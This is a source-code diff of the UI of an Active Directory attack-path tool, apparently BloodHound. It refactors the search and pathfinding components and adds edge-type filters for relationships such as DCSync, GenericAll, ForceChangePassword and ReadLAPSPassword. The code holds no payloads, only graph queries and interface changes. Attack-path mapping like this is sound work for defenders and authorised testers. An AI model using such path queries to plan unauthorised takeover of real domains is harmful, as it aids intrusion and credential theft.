+                        icon = '<i style="float:right" class="fa fa-list"></i>';
                         break;
                     case "OU":
-                        icon = "<i style=\"float:right\" class=\"fa fa-sitemap\"></i>";
+                        icon =
+                            '<i style="float:right" class="fa fa-sitemap"></i>';
                         break;
                 }
 
-                let html = '<div>{}'.format(name);
+                let html = "<div>{}".format(name);
 
                 if (searchTerm !== "") {
-                    let reQuery = new RegExp('(' + searchTerm + ')', "gi");
+                    let reQuery = new RegExp("(" + searchTerm + ")", "gi");
 
                     html = html.replace(reQuery, "<strong>$1</strong>");
                 }
@@ -458,152 +195,31 @@ export default class SearchContainer extends Component {
                 return jElem.html();
             }
         });
-    }
 
-    
+        jQuery(this.refs.pathbar).typeahead({
+            source: function (query, process) {
+                let session = driver.session();
+                let [statement, term] = buildSearchQuery(query);
 
-    _onPathfindClick(){
-        jQuery(this.refs.pathfinding).slideToggle();
-        var p = !this.state.pathfindingIsOpen;
-        var t = this.state.pathfindingIsOpen ? "Start typing to search for a node..." : "Start Node"; 
-        this.setState({
-            pathfindingIsOpen: p,
-            mainPlaceholder: t
-        });
-    }
-
-    _onPlayClick(){
-        let start = jQuery(this.refs.searchbar).val();
-        let end = jQuery(this.refs.pathbar).val();
-
-        if (start === "" || end === "") {
-            return;
-        }
-
-        if (start === end){
-            return;
-        }
-
-        let query = "";
-
-        let labels = ["OU", "GPO", "User", "Computer", "Group", "Domain"];
-        if (start.includes(":")) {
-            let spl = start.split(':');
-            let type = spl[0];
-            let search = spl[1];
-            start = search;
-
-            $.each(labels, function (_, l) {
-                if (l.toLowerCase() === type.toLowerCase()) {
-                    type = l;
-                }
-            });
-
-            if (type === 'OU' || type === 'GPO') {
-                query += "MATCH (n:{}) WHERE n.name =~ {aprop} OR n.guid =~ {aprop}".format(type);
-            } else {
-                query += "MATCH (n:{}) WHERE n.name =~ {aprop}".format(type);
-            }
-        } else {
-            query += "MATCH (n) WHERE n.name =~ {aprop}";
-        }
-
-        query += " WITH n ";
-
-        if (end.includes(":")) {
-            let spl = end.split(':');
-            let type = spl[0];
-            let search = spl[1];
-            end = search;
-
-            $.each(labels, function (_, l) {
-                if (l.toLowerCase() === type.toLowerCase()) {
-                    type = l;
-                }
-            });
-
-            if (type === 'OU' || type === 'GPO') {
-                query += "MATCH (m:{}) WHERE m.name =~ {bprop} OR m.guid =~ {bprop}".format(type);
-            } else {
-                query += "MATCH (m:{}) WHERE m.name =~ {bprop}".format(type);
-            }
-        } else {
-            query += "MATCH (m) WHERE m.name =~ {bprop}";
-        }
-
-        query += " WITH m,n MATCH p=allShortestPaths((n)-[r:MemberOf|AdminTo|HasSession|Contains|GpLink|Owns|DCSync|AllExtendedRights|ForceChangePassword|GenericAll|GenericWrite|WriteDacl|WriteOwner*1..]->(m)) RETURN p";
-
-        emitter.emit('query', query, { aprop: start, bprop: end });
-    }
-
-    _onExpandClick(){
-        jQuery(this.refs.tabs).slideToggle();
-    }
-
-    openNodeTab(){
-        var e = jQuery(this.refs.tabs);
-        if (!(e.is(":visible"))){
-            e.slideToggle();
-        }
-    }
-
-    _inputKeyPress(e){
-        let key = e.keyCode ? e.keyCode : e.which;
-        let start = jQuery(this.refs.searchbar).val();
-        let end = jQuery(this.refs.pathbar).val();
-        let stop = false;
-
-        if (key === 13){
-            if (!$('.searchSelectorS > ul').is(':hidden')){
-                $('.searchSelectorS > ul li').each(function(i){
-                    if($(this).hasClass('active')){
-                        stop = true;
-                    }
-                });    
-            }
-
-            if (!$('.searchSelectorP > ul').is(':hidden')){
-                $('.searchSelectorP > ul li').each(function(i){
-                    if($(this).hasClass('active')){
-                        stop = true;
-                    }
-                });
-            }
-            if (stop){
-                return;
-            }
-            if (!this.state.pathfindingIsOpen) {
-                if (start !== ""){
-                    if (start.includes(':')){
-                        let spl = start.split(':');
-                        let type = spl[0];
-                        let search = spl[1];
-                        let statement = "";
-                        let regex = "";
-
-                        let labels = ["OU", "GPO", "User", "Computer", "Group", "Domain"];
-                        $.each(labels, function (_, l) {
-                            if (l.toLowerCase() === type.toLowerCase()) {
-                                type = l;
-                            }
+                session.run(statement, { name: term }).then(x => {
+                    let data = [];
+                    let map = {};
+                    $.each(x.records, (index, record) => {
+                        let props = record._fields[0].properties;
+                        Object.assign(props, {
+                            type: record._fields[0].labels[0]
                         });
-                        if (type === 'OU'){
-                            statement = "MATCH (n:{}) WHERE n.name =~ {search} OR n.guid =~ {search} RETURN n".format(type);
-                            regex = '(?i).*' + search + '.*';
-                        }else{
-                            statement = "MATCH (n:{}) WHERE n.name =~ {search} RETURN n".format(type);
-                            regex = '(?i).*' + search + '.*';
-                        }
+                        map[index] = props;
+                        data.push(`${props.name}#${index}`);
+                        index++;
+                    })
 
-                        emitter.emit('searchQuery', statement, { search: regex });
-                        
-                    }else{
-                        var statement = "MATCH (n) WHERE n.name =~ {regex} RETURN n";
-                        var regex = '(?i).*' + start + '.*';
-                        emitter.emit('searchQuery', statement, { regex: regex });
-                    }
-                }
-            } else {
+                    this.map = map;
+                    session.close();
+                    return process(data);
+                })
+            },
+            afterSelect: function (_) {
                 let start = jQuery(this.refs.searchbar).val();
                 let end = jQuery(this.refs.pathbar).val();
 
@@ -615,117 +231,599 @@ export default class SearchContainer extends Component {
                     return;
                 }
 
-                let query = "";
+                let [query, startTerm, endTerm] = buildSelectQuery(start, end);
 
-                let labels = ["OU", "GPO", "User", "Computer", "Group", "Domain"];
-                if (start.includes(":")) {
-                    let spl = start.split(':');
-                    let type = spl[0];
-                    let search = spl[1];
-                    start = search;
+                emitter.emit("query", query, { aprop: startTerm, bprop: endTerm }, startTerm, endTerm);
+            }.bind(this),
+            autoSelect: false,
+            updater: function (item) {
+                let spl = item.split("#");
+                let index = spl[1];
+                let obj = this.map[index];
+                return obj;
+            },
+            matcher: function (item) {
+                let spl = item.split("#");
+                let name = spl[0];
+                let index = spl[1];
+                let obj = this.map[index];
 
-                    $.each(labels, function (_, l) {
-                        if (l.toLowerCase() === type.toLowerCase()) {
-                            type = l;
-                        }
-                    });
-
-                    if (type === 'OU' || type === 'GPO') {
-                        query += "MATCH (n:{}) WHERE n.name =~ {aprop} OR n.guid =~ {aprop}".format(type);
-                    } else {
-                        query += "MATCH (n:{}) WHERE n.name =~ {aprop}".format(type);
-                    }
+                let searchTerm = this.query;
+                if (this.query.includes(":")) {
+                    searchTerm = searchTerm.split(":")[1];
+                }
+                if (
+                    name.toLowerCase().indexOf(searchTerm.toLowerCase()) !== -1
+                ) {
+                    return true;
+                } else if (
+                    obj.hasOwnProperty("guid") &&
+                    obj["guid"]
+                        .toLowerCase()
+                        .indexOf(searchTerm.toLowerCase()) !== -1
+                ) {
+                    return true;
                 } else {
-                    query += "MATCH (n) WHERE n.name =~ {aprop}";
+                    return false;
+                }
+            },
+            highlighter: function (item) {
+                let spl = item.split("#");
+                let name = spl[0];
+                let index = spl[1];
+                let obj = this.map[index];
+
+                let searchTerm = this.query;
+                if (this.query.includes(":")) {
+                    searchTerm = searchTerm.split(":")[1];
                 }
 
-                query += " WITH n ";
+                let type = obj.type;
+                let icon = "";
 
-                if (end.includes(":")) {
-                    let spl = end.split(':');
-                    let type = spl[0];
-                    let search = spl[1];
-                    end = search;
-
-                    $.each(labels, function (_, l) {
-                        if (l.toLowerCase() === type.toLowerCase()) {
-                            type = l;
-                        }
-                    });
-
-                    if (type === 'OU' || type === 'GPO') {
-                        query += "MATCH (m:{}) WHERE m.name =~ {bprop} OR m.guid =~ {bprop}".format(type);
-                    } else {
-                        query += "MATCH (m:{}) WHERE m.name =~ {bprop}".format(type);
-                    }
-                } else {
-                    query += "MATCH (m) WHERE m.name =~ {bprop}";
+                switch (type) {
+                    case "Group":
+                        icon =
+                            '<i style="float:right" class="fa fa-users"></i>';
+                        break;
+                    case "User":
+                        icon = '<i style="float:right" class="fa fa-user"></i>';
+                        break;
+                    case "Computer":
+                        icon =
+                            '<i style="float:right" class="fa fa-desktop"></i>';
+                        break;
+                    case "Domain":
+                        icon =
+                            '<i style="float:right" class="fa fa-globe"></i>';
+                        break;
+                    case "GPO":
+                        icon = '<i style="float:right" class="fa fa-list"></i>';
+                        break;
+                    case "OU":
+                        icon =
+                            '<i style="float:right" class="fa fa-sitemap"></i>';
+                        break;
                 }
 
-                query += " WITH m,n MATCH p=allShortestPaths((n)-[r:MemberOf|AdminTo|HasSession|Contains|GpLink|Owns|DCSync|AllExtendedRights|ForceChangePassword|GenericAll|GenericWrite|WriteDacl|WriteOwner*1..]->(m)) RETURN p";
+                let html = "<div>{}".format(name);
 
-                emitter.emit('query', query, { aprop: start, bprop: end });
+                if (searchTerm !== "") {
+                    let reQuery = new RegExp("(" + searchTerm + ")", "gi");
+
+                    html = html.replace(reQuery, "<strong>$1</strong>");
+                }
+                html += icon + "</div>";
+                let jElem = $(html);
+
+                return jElem.html();
+            }
+        });
+    }
+
+    toggleDarkMode(enabled){
+        this.setState({darkMode: enabled});
+    }
+
+    clearSection(section){
+        let current = this.state.edgeincluded;
+        if (section === "default"){
+            current.MemberOf = false;
+            current.HasSession = false;
+            current.AdminTo = false;
+        }else if (section === "acl"){
+            current.AllExtendedRights = false;
+            current.AddMember = false;
+            current.ForceChangePassword = false;
+            current.GenericAll = false;
+            current.GenericWrite = false;
+            current.Owns = false;
+            current.WriteDacl = false;
+            current.WriteOwner = false;
+            current.ReadLAPSPassword = false;
+        }else if (section === "special"){
+            current.CanRDP = false;
+            current.ExecuteDCOM = false;
+            current.AllowedToDelegate = false;
+        }else{
+            current.Contains = false;
+            current.GpLink = false;
+        }
+
+        this.setState({edgeincluded: current});
+        appStore.edgeincluded = current;
+        conf.set("edgeincluded", current);
+    }
+
+    setSection(section){
+        let current = this.state.edgeincluded;
+        if (section === "default"){
+            current.MemberOf = true;
+            current.HasSession = true;
+            current.AdminTo = true;
+        }else if (section === "acl"){
+            current.AllExtendedRights = true;
+            current.AddMember = true;
+            current.ForceChangePassword = true;
+            current.GenericAll = true;
+            current.GenericWrite = true;
+            current.Owns = true;
+            current.WriteDacl = true;
+            current.WriteOwner = true;
+            current.ReadLAPSPassword = true;
+        }else if (section === "special"){
+            current.CanRDP = true;
+            current.ExecuteDCOM = true;
+            current.AllowedToDelegate = true;
+        }else{
+            current.Contains = true;
+            current.GpLink = true;
+        }
+
+        this.setState({edgeincluded: current});
+        appStore.edgeincluded = current;
+        conf.set("edgeincluded", current);
+    }
+
+    handleChange(event){
+        let current = this.state.edgeincluded;
+        let eName = event.target.getAttribute("name");
+        current[eName] = !current[eName];
+        this.setState({edgeincluded: current});
+
+        appStore.edgeincluded = current;
+        conf.set("edgeincluded", current);
+    }
+
+    _onFilterClick() {
+        jQuery(this.refs.edgeFilter).animate(
+            {
+                height: "toggle",
+                width: "toggle"
+            },
+            "medium"
+        );
+    }
+
+    _onPathfindClick() {
+        jQuery(this.refs.pathfinding).slideToggle();
+        var p = !this.state.pathfindingIsOpen;
+        var t = this.state.pathfindingIsOpen
+            ? "Start typing to search for a node..."
+            : "Start Node";
+        this.setState({
+            pathfindingIsOpen: p,
+            mainPlaceholder: t
+        });
+    }
+
+    _onPlayClick() {
+        let start = jQuery(this.refs.searchbar).val();
+        let end = jQuery(this.refs.pathbar).val();
+
+        if (start === "" || end === "") {
+            return;
+        }
+
+        if (start === end) {
+            return;
+        }
+
+        let [query, startTerm, endTerm] = buildSelectQuery(start, end);
+        emitter.emit("query", query, { aprop: startTerm, bprop: endTerm }, startTerm, endTerm);
+    }
+
+    _onExpandClick() {
+        jQuery(this.refs.tabs).slideToggle();
+    }
+
+    openNodeTab() {
+        var e = jQuery(this.refs.tabs);
+        if (!e.is(":visible")) {
+            e.slideToggle();
+        }
+    }
+
+    _inputKeyPress(e) {
+        let key = e.keyCode ? e.keyCode : e.which;
+        let start = jQuery(this.refs.searchbar).val();
+        let end = jQuery(this.refs.pathbar).val();
+        let stop = false;
+
+        if (key === 13) {
+            if (!$(".searchSelectorS > ul").is(":hidden")) {
+                $(".searchSelectorS > ul li").each(function(i) {
+                    if ($(this).hasClass("active")) {
+                        stop = true;
+                    }
+                });
+            }
+
+            if (!$(".searchSelectorP > ul").is(":hidden")) {
+                $(".searchSelectorP > ul li").each(function(i) {
+                    if ($(this).hasClass("active")) {
+                        stop = true;
+                    }
+                });
+            }
+            if (stop) {
+                return;
+            }
+            if (!this.state.pathfindingIsOpen) {
+                if (start !== "") {
+                    if (start.includes(":")) {
+                        let spl = start.split(":");
+                        let type = spl[0];
+                        let search = spl[1];
+                        let statement = "";
+                        let regex = "";
+
+                        let labels = [
+                            "OU",
+                            "GPO",
+                            "User",
+                            "Computer",
+                            "Group",
+                            "Domain"
+                        ];
+                        $.each(labels, function(_, l) {
+                            if (l.toLowerCase() === type.toLowerCase()) {
+                                type = l;
+                            }
+                        });
+                        if (type === "OU") {
+                            statement = "MATCH (n:{}) WHERE n.name =~ {search} OR n.guid =~ {search} RETURN n".format(
+                                type
+                            );
+                            regex = "(?i).*" + search + ".*";
+                        } else {
+                            statement = "MATCH (n:{}) WHERE n.name =~ {search} RETURN n".format(
+                                type
+                            );
+                            regex = "(?i).*" + search + ".*";
+                        }
+
+                        emitter.emit("searchQuery", statement, {
+                            search: regex
+                        });
+                    } else {
+                        var statement =
+                            "MATCH (n) WHERE n.name =~ {regex} RETURN n";
+                        var regex = "(?i).*" + start + ".*";
+                        emitter.emit("searchQuery", statement, {
+                            regex: regex
+                        });
+                    }
+                }
+            } else {
+                if (start === "" || end === "") {
+                    return;
+                }
+
+                if (start === end) {
+                    return;
+                }
+
+                let [query, startTerm, endTerm] = buildSelectQuery(start, end);
+
+                emitter.emit("query", query, { aprop: startTerm, bprop: endTerm }, startTerm, endTerm);
             }
         }
     }
 
-    render(){
+    render() {
         return (
-            <div className="searchdiv">
+            <div id="searchdiv" className={this.state.darkMode ? "searchdiv searchdiv-dark" : "searchdiv searchdiv-light"}>
+                <div ref="edgeFilter" className="edgeFilter">
+                    <div>
+                        <h3>Edge Filtering</h3>
+                        <i
+                            data-toggle="tooltip"
+                            data-placement="right"
+                            title="Filters edges in shortest path queries"
+                            className="glyphicon glyphicon-question-sign"
+                        />
+                    </div>
+                    <div className={"edge-filter-heading"}>
+                        <h4>Default Edges</h4>
+                        <button onClick={x => this.setSection("default")} className={"fa fa-check-double"} data-toggle="tooltip" data-placement="top" title="Check all default edges" />
+                        <button onClick={x => this.clearSection("default")} className={"fa fa-eraser"} data-toggle="tooltip" data-placement="top" title="Clear all default edges"/>
+                    </div>
+                    <div>
+                        <input
+                            className="checkbox-inline"
+                            type="checkbox"
+                            checked={this.state.edgeincluded.MemberOf}
+                            onChange={this.handleChange.bind(this)}
+                            name="MemberOf"
+                        />
+                        <label onClick={this.handleChange.bind(this)} name="MemberOf"> MemberOf</label>
+                    </div>
+                    <div>
+                        <input
+                            className="checkbox-inline"
+                            type="checkbox"
+                            name="HasSession"
+                            checked={this.state.edgeincluded.HasSession}
+                            onChange={this.handleChange.bind(this)}
+                        />
+                        <label onClick={this.handleChange.bind(this)} name="HasSession"> HasSession</label>
+                    </div>
+                    <div>
+                        <input
+                            className="checkbox-inline"
+                            type="checkbox"
+                            name="AdminTo"
+                            checked={this.state.edgeincluded.AdminTo}
+                            onChange={this.handleChange.bind(this)}
+                        />
+                        <label onClick={this.handleChange.bind(this)} name="AdminTo"> AdminTo</label>
+                    </div>
+                    <div className={"edge-filter-heading"}>
+                        <h4>ACL Edges</h4>
+                        <button onClick={x => this.setSection("acl")} className={"fa fa-check-double"} data-toggle="tooltip" data-placement="top" title="Check all ACL edges" />
+                        <button onClick={x => this.clearSection("acl")} className={"fa fa-eraser"} data-toggle="tooltip" data-placement="top" title="Clear all ACL edges"/>
+                    </div>
+                    <div>
+                        <input
+                            className="checkbox-inline"
+                            type="checkbox"
+                            name="AllExtendedRights"
+                            checked={this.state.edgeincluded.AllExtendedRights}
+                            onChange={this.handleChange.bind(this)}
+                        />
+                        <label onClick={this.handleChange.bind(this)} name="AllExtendedRights"> AllExtendedRights</label>
+                    </div>
+                    <div>
+                        <input
+                            className="checkbox-inline"
+                            type="checkbox"
+                            name="AddMember"
+                            checked={this.state.edgeincluded.AddMember}
+                            onChange={this.handleChange.bind(this)}
+                        />
+                        <label onClick={this.handleChange.bind(this)} name="AddMember"> AddMember</label>
+                    </div>
+                    <div>
+                        <input
+                            className="checkbox-inline"
+                            type="checkbox"
+                            name="ForceChangePassword"
+                            checked={this.state.edgeincluded.ForceChangePassword}
+                            onChange={this.handleChange.bind(this)}
+                        />
+                        <label onClick={this.handleChange.bind(this)} name="ForceChangePassword"> ForceChangePassword</label>
+                    </div>
+                    <div>
+                        <input
+                            className="checkbox-inline"
+                            type="checkbox"
+                            name="GenericAll"
+                            checked={this.state.edgeincluded.GenericAll}
+                            onChange={this.handleChange.bind(this)}
+                        />
+                        <label onClick={this.handleChange.bind(this)} name="GenericAll"> GenericAll</label>
+                    </div>
+                    <div>
+                        <input
+                            className="checkbox-inline"
+                            type="checkbox"
+                            name="GenericWrite"
+                            checked={this.state.edgeincluded.GenericWrite}
+                            onChange={this.handleChange.bind(this)}
+                        />
+                        <label onClick={this.handleChange.bind(this)} name="GenericWrite"> GenericWrite</label>
+                    </div>
+                    <div>
+                        <input
+                            className="checkbox-inline"
+                            type="checkbox"
+                            name="Owns"
+                            checked={this.state.edgeincluded.Owns}
+                            onChange={this.handleChange.bind(this)}
+                        />
+                        <label onClick={this.handleChange.bind(this)} name="Owns"> Owns</label>
+                    </div>
+                    <div>
+                        <input
+                            className="checkbox-inline"
+                            type="checkbox"
+                            name="WriteDacl"
+                            checked={this.state.edgeincluded.WriteDacl}
+                            onChange={this.handleChange.bind(this)}
+                        />
+                        <label onClick={this.handleChange.bind(this)} name="WriteDacl"> WriteDacl</label>
+                    </div>
+                    <div>
+                        <input
+                            className="checkbox-inline"
+                            type="checkbox"
+                            name="WriteOwner"
+                            checked={this.state.edgeincluded.WriteOwner}
+                            onChange={this.handleChange.bind(this)}
+                        />
+                        <label onClick={this.handleChange.bind(this)} name="WriteOwner"> WriteOwner</label>
+                    </div>
+                    <div>
+                        <input
+                            className="checkbox-inline"
+                            type="checkbox"
+                            name="ReadLAPSPassword"
+                            checked={this.state.edgeincluded.ReadLAPSPassword}
+                            onChange={this.handleChange.bind(this)}
+                        />
+                        <label onClick={this.handleChange.bind(this)} name="ReadLAPSPassword"> ReadLAPSPassword</label>
+                    </div>
+                    <div className={"edge-filter-heading"}>
+                        <h4>Containers</h4>
+                        <button onClick={x => this.setSection("containers")} className={"fa fa-check-double"} data-toggle="tooltip" data-placement="top" title="Check all Containers edges" />
+                        <button onClick={x => this.clearSection("containers")} className={"fa fa-eraser"} data-toggle="tooltip" data-placement="top" title="Clear all Containers edges" />
+                    </div>
+                    <div>
+                        <input
+                            className="checkbox-inline"
+                            type="checkbox"
+                            name="Contains"
+                            checked={this.state.edgeincluded.Contains}
+                            onChange={this.handleChange.bind(this)}
+                        />
+                        <label onClick={this.handleChange.bind(this)} name="Contains"> Contains</label>
+                    </div>
+                    <div>
+                        <input
+                            className="checkbox-inline"
+                            type="checkbox"
+                            name="GpLink"
+                            checked={this.state.edgeincluded.GpLink}
+                            onChange={this.handleChange.bind(this)}
+                        />
+                        <label onClick={this.handleChange.bind(this)} name="GpLink"> GpLink</label>
+                    </div>
+                    <div className={"edge-filter-heading"}>
+                        <h4>Special</h4>
+                        <button onClick={x => this.setSection("special")} className={"fa fa-check-double"} data-toggle="tooltip" data-placement="top" title="Check all special edges" />
+                        <button onClick={x => this.clearSection("special")} className={"fa fa-eraser"} data-toggle="tooltip" data-placement="top" title="Clear all special edges"/>
+                    </div>
+                    <div>
+                        <input
+                            className="checkbox-inline"
+                            type="checkbox"
+                            name="CanRDP"
+                            checked={this.state.edgeincluded.CanRDP}
+                            onChange={this.handleChange.bind(this)}
+                        />
+                        <label onClick={this.handleChange.bind(this)} name="CanRDP"> CanRDP</label>
+                    </div>
+                    <div>
+                        <input
+                            className="checkbox-inline"
+                            type="checkbox"
+                            name="ExecuteDCOM"
+                            checked={this.state.edgeincluded.ExecuteDCOM}
+                            onChange={this.handleChange.bind(this)}
+                        />
+                        <label onClick={this.handleChange.bind(this)} name="ExecuteDCOM"> ExecuteDCOM</label>
+                    </div>
+                    <div>
+                        <input
+                            className="checkbox-inline"
+                            type="checkbox"
+                            name="AllowedToDelegate"
+                            checked={this.state.edgeincluded.AllowedToDelegate}
+                            onChange={this.handleChange.bind(this)}
+                        />
+                        <label onClick={this.handleChange.bind(this)} name="AllowedToDelegate"> AllowedToDelegate</label>
+                    </div>
+                </div>
                 <div className="input-group input-group-unstyled searchSelectorS">
-                    <GlyphiconSpan 
-                        tooltip 
-                        tooltipDir="bottom" 
-                        tooltipTitle="More Info" 
-                        classes="input-group-addon spanfix"
-                        click={this._onExpandClick.bind(this)}>
+                    <GlyphiconSpan
+                        tooltip
+                        tooltipDir="bottom"
+                        tooltipTitle="More Info"
+                        classes="input-group-addon spanfix glyph-hover-style"
+                        click={this._onExpandClick.bind(this)}
+                    >
                         <Icon glyph="menu-hamburger" extraClass="menuglyph" />
                     </GlyphiconSpan>
-                    <input ref="searchbar" onKeyDown={this._inputKeyPress.bind(this)} type="search" className="form-control searchbox" autoComplete="off" placeholder={this.state.mainPlaceholder} />
-                    <GlyphiconSpan tooltip tooltipDir="bottom"
+                    <input
+                        ref="searchbar"
+                        onKeyDown={this._inputKeyPress.bind(this)}
+                        type="search"
+                        className="form-control searchbox"
+                        autoComplete="off"
+                        placeholder={this.state.mainPlaceholder}
+                    />
+                    <GlyphiconSpan
+                        tooltip
+                        tooltipDir="bottom"
                         tooltipTitle="Pathfinding"
-                        classes="input-group-addon spanfix"
-                        click={this._onPathfindClick.bind(this)}>
+                        classes="input-group-addon spanfix glyph-hover-style"
+                        click={this._onPathfindClick.bind(this)}
+                    >
                         <Icon glyph="road" extraClass="menuglyph" />
                     </GlyphiconSpan>
-                    <GlyphiconSpan 
+                    <GlyphiconSpan
                         tooltip
-                        tooltipDir="bottom" 
-                        tooltipTitle="Back" 
-                        classes="input-group-addon spanfix"
-                        click={function(){
-                            emitter.emit('graphBack');
-                        }}>
+                        tooltipDir="bottom"
+                        tooltipTitle="Back"
+                        classes="input-group-addon spanfix glyph-hover-style"
+                        click={function() {
+                            emitter.emit("graphBack");
+                        }}
+                    >
                         <Icon glyph="step-backward" extraClass="menuglyph" />
                     </GlyphiconSpan>
+                    <GlyphiconSpan
+                        tooltip
+                        tooltipDir="bottom"
+                        tooltipTitle="Filter Edge Types"
+                        classes="input-group-addon spanfix glyph-hover-style"
+                        click={this._onFilterClick.bind(this)}
+                    >
+                        <Icon glyph="filter" extraClass="menuglyph" />
+                    </GlyphiconSpan>
                 </div>
                 <div ref="pathfinding">
                     <div className="input-group input-group-unstyled searchSelectorP">
-                        <GlyphiconSpan 
+                        <GlyphiconSpan
                             tooltip={false}
-                            classes="input-group-addon spanfix invisible">
-                            <Icon glyph="menu-hamburger" extraClass="menuglyph" />
+                            classes="input-group-addon spanfix invisible"
+                        >
+                            <Icon
+                                glyph="menu-hamburger"
+                                extraClass="menuglyph"
+                            />
                         </GlyphiconSpan>
-                        <input ref="pathbar" onKeyDown={this._inputKeyPress.bind(this)} type="search" className="form-control searchbox" autoComplete="off" placeholder="Target Node" />
-                        <GlyphiconSpan tooltip={false} 
-                            classes="input-group-addon spanfix invisible">
+                        <input
+                            ref="pathbar"
+                            onKeyDown={this._inputKeyPress.bind(this)}
+                            type="search"
+                            className="form-control searchbox"
+                            autoComplete="off"
+                            placeholder="Target Node"
+                        />
+                        <GlyphiconSpan
+                            tooltip={false}
+                            classes="input-group-addon spanfix invisible"
+                        >
                             <Icon glyph="road" extraClass="menuglyph" />
                         </GlyphiconSpan>
-                        <GlyphiconSpan 
-                            tooltip 
-                            tooltipDir="bottom" 
-                            tooltipTitle="Find Path" 
-                            classes="input-group-addon spanfix" 
-                            click={this._onPlayClick.bind(this)}>
+                        <GlyphiconSpan
+                            tooltip
+                            tooltipDir="bottom"
+                            tooltipTitle="Find Path"
+                            classes="input-group-addon spanfix glyph-hover-style"
+                            click={this._onPlayClick.bind(this)}
+                        >
                             <Icon glyph="play" extraClass="menuglyph" />
                         </GlyphiconSpan>
                     </div>
                 </div>
 
-                <div ref="tabs">
+                <div id="tabcontainer" ref="tabs">
                     <TabContainer />
                 </div>
             </div>
         );
     }
-}
\ No newline at end of file
+}
diff --git a/src/components/SearchContainer/TabContainer.jsx b/src/components/SearchContainer/TabContainer.jsx
index 6924213..dafb089 100644
--- a/src/components/SearchContainer/TabContainer.jsx
+++ b/src/components/SearchContainer/TabContainer.jsx
@@ -1,17 +1,19 @@
-import React, { Component } from 'react';
-import DatabaseDataDisplay from './Tabs/DatabaseDataDisplay';
-import PrebuiltQueriesDisplay from './Tabs/PrebuiltQueriesDisplay';
-import NoNodeData from './Tabs/NoNodeData';
-import UserNodeData from './Tabs/UserNodeData';
-import GroupNodeData from './Tabs/GroupNodeData';
-import ComputerNodeData from './Tabs/ComputerNodeData';
-import DomainNodeData from './Tabs/DomainNodeData';
-import GpoNodeData from './Tabs/GpoNodeData';
-import OuNodeData from './Tabs/OuNodeData';
-import { Tabs, Tab } from 'react-bootstrap';
+import React, { Component } from "react";
+import DatabaseDataDisplay from "./Tabs/DatabaseDataDisplay";
+import PrebuiltQueriesDisplay from "./Tabs/PrebuiltQueriesDisplay";
+import NoNodeData from "./Tabs/NoNodeData";
+import UserNodeData from "./Tabs/UserNodeData";
+import GroupNodeData from "./Tabs/GroupNodeData";
+import ComputerNodeData from "./Tabs/ComputerNodeData";
+import DomainNodeData from "./Tabs/DomainNodeData";
+import GpoNodeData from "./Tabs/GpoNodeData";
+import OuNodeData from "./Tabs/OuNodeData";
+import { Tabs, Tab } from "react-bootstrap";
+import { openSync, readSync, closeSync } from "fs";
+import imageType from "image-type";
 
 export default class TabContainer extends Component {
-    constructor(props){
+    constructor(props) {
         super(props);
 
         this.state = {
@@ -24,17 +26,35 @@ export default class TabContainer extends Component {
             selected: 1
         };
     }
-    
+
     componentDidMount() {
-        emitter.on('userNodeClicked', this._userNodeClicked.bind(this));
-        emitter.on('groupNodeClicked', this._groupNodeClicked.bind(this));
-        emitter.on('computerNodeClicked', this._computerNodeClicked.bind(this));
-        emitter.on('domainNodeClicked', this._domainNodeClicked.bind(this));
-        emitter.on('gpoNodeClicked', this._gpoNodeClicked.bind(this));
-        emitter.on('ouNodeClicked', this._ouNodeClicked.bind(this));
+        emitter.on("userNodeClicked", this._userNodeClicked.bind(this));
+        emitter.on("groupNodeClicked", this._groupNodeClicked.bind(this));
+        emitter.on("computerNodeClicked", this._computerNodeClicked.bind(this));
+        emitter.on("domainNodeClicked", this._domainNodeClicked.bind(this));
+        emitter.on("gpoNodeClicked", this._gpoNodeClicked.bind(this));
+        emitter.on("ouNodeClicked", this._ouNodeClicked.bind(this));
+        emitter.on("imageupload", this.uploadImage.bind(this));
     }
 
-    _userNodeClicked(){
+    uploadImage(event){
+        let files = [];
+        $.each(event.dataTransfer.files, (_, f) => {
+            let buf = Buffer.alloc(12);
+            let file = openSync(f.path, 'r')
+            readSync(file,buf, 0, 12, 0);
+            closeSync(file)
+            let type = imageType(buf);
+            if (type !== null && type.mime.includes("image")){
+                files.push({path: f.path, name: f.name})
+            }else{
+                emitter.emit("showAlert", `${f.name} is not an image`);
+            }
+        })
+        emitter.emit("imageUploadFinal", files);
+    }
+
+    _userNodeClicked() {
         this.setState({
             userVisible: true,
             computerVisible: false,
@@ -43,10 +63,10 @@ export default class TabContainer extends Component {
             gpoVisible: false,
             ouVisible: false
         });
-        this.setState({selected: 2});
+        this.setState({ selected: 2 });
     }
 
-    _groupNodeClicked(){
+    _groupNodeClicked() {
         this.setState({
             userVisible: false,
             computerVisible: false,
@@ -55,10 +75,10 @@ export default class TabContainer extends Component {
             gpoVisible: false,
             ouVisible: false
         });
-        this.setState({selected: 2});
+        this.setState({ selected: 2 });
     }
 
-    _computerNodeClicked(){
+    _computerNodeClicked() {
         this.setState({
             userVisible: false,
             computerVisible: true,
@@ -67,10 +87,10 @@ export default class TabContainer extends Component {
             gpoVisible: false,
             ouVisible: false
         });
-        this.setState({selected: 2});
+        this.setState({ selected: 2 });
     }
 
-    _domainNodeClicked(){
+    _domainNodeClicked() {
         this.setState({
             userVisible: false,
             computerVisible: false,
@@ -79,10 +99,10 @@ export default class TabContainer extends Component {
             gpoVisible: false,
             ouVisible: false
         });
-        this.setState({selected: 2});
+        this.setState({ selected: 2 });
     }
 
-    _gpoNodeClicked(){
+    _gpoNodeClicked() {
         this.setState({
             userVisible: false,
             computerVisible: false,
@@ -105,26 +125,40 @@ export default class TabContainer extends Component {
         });
         this.setState({ selected: 2 });
     }
-    
-    _handleSelect(index, last){
-        this.setState({selected: index});
+
+    _handleSelect(index, last) {
+        this.setState({ selected: index });
     }
 
     render() {
         return (
             <div>
-                <Tabs id="tab-style" bsStyle="pills" activeKey={this.state.selected} onSelect={this._handleSelect.bind(this)}>
+                <Tabs
+                    id="tab-style"
+                    bsStyle="pills"
+                    activeKey={this.state.selected}
+                    onSelect={this._handleSelect.bind(this)}
+                >
                     <Tab eventKey={1} title="Database Info">
                         <DatabaseDataDisplay />
                     </Tab>
 
                     <Tab eventKey={2} title="Node Info">
-                        <NoNodeData visible={!this.state.userVisible && !this.state.computerVisible && !this.state.groupVisible && !this.state.domainVisible && !this.state.gpoVisible && !this.state.ouVisible}/>
-                        <UserNodeData visible={this.state.userVisible}/>
-                        <GroupNodeData visible={this.state.groupVisible}/>
-                        <ComputerNodeData visible={this.state.computerVisible}/>
-                        <DomainNodeData visible={this.state.domainVisible}/>
